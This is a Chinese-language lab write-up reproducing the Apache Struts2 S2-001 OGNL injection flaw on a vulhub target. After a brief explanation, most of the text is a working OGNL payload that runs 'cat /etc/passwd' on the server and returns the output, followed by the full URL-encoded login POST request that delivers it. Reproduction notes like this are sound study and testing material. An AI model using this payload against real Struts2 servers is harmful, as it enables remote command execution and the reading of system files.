s2-001漏洞复现

漏洞说明

该漏洞其实是因为用户提交表单数据并且验证失败时，后端会将用户之前提交的参数值使用OGNL表达式%{value}进行解析，然后重新填充到对应的表单数据中。例如注册或登录页面，提交失败后端一般会默认返回之前提交的数据，由于后端使用%{value}对提交的数据执行了一次OGNL表达式解析，所以可以直接构造Payload进行命令执行。

漏洞验证

靶场

使用vulhub进行复现 vulhub地址：struts2/s2-001

POC

%{#a=(new java.lang.ProcessBuilder(new java.lang.String[]{"cat","/etc/passwd"})).redirectErrorStream(true).start(),#b=#a.getInputStream(),#c=new java.io.InputStreamReader(#b),#d=new java.io.BufferedReader(#c),#e=new char[50000],#d.read(#e),#f=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse"),#f.getWriter().println(new java.lang.String(#e)),#f.getWriter().flush(),#f.getWriter().close()}

请求数据包

POST /login.action;jsessionid=09504541EF4ABDD7F72CA76FFF36F735 HTTP/1.1

Host: 192.168.75.140:8080

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:84.0) Gecko/20100101 Firefox/84.0

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8

Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2

Accept-Encoding: gzip, deflate

Content-Type: application/x-www-form-urlencoded

Content-Length: 590

Origin: http://192.168.75.140:8080

Connection: close

Referer: http://192.168.75.140:8080/

Cookie: JSESSIONID=09504541EF4ABDD7F72CA76FFF36F735

Upgrade-Insecure-Requests: 1

username=%25%7B%23a%3D%28new+java.lang.ProcessBuilder%28new+java.lang.String%5B%5D%7B%22cat%22%2C%22%2Fetc%2Fpasswd%22%7D%29%29.redirectErrorStream%28true%29.start%28%29%2C%23b%3D%23a.getInputStream%28%29%2C%23c%3Dnew+java.io.InputStreamReader%28%23b%29%2C%23d%3Dnew+java.io.BufferedReader%28%23c%29%2C%23e%3Dnew+char%5B50000%5D%2C%23d.read%28%23e%29%2C%23f%3D%23context.get%28%22com.opensymphony.xwork2.dispatcher.HttpServletResponse%22%29%2C%23f.getWriter%28%29.println%28new+java.lang.String%28%23e%29%29%2C%23f.getWriter%28%29.flush%28%29%2C%23f.getWriter%28%29.close%28%29%7D&password=

python脚本利用工具

待更新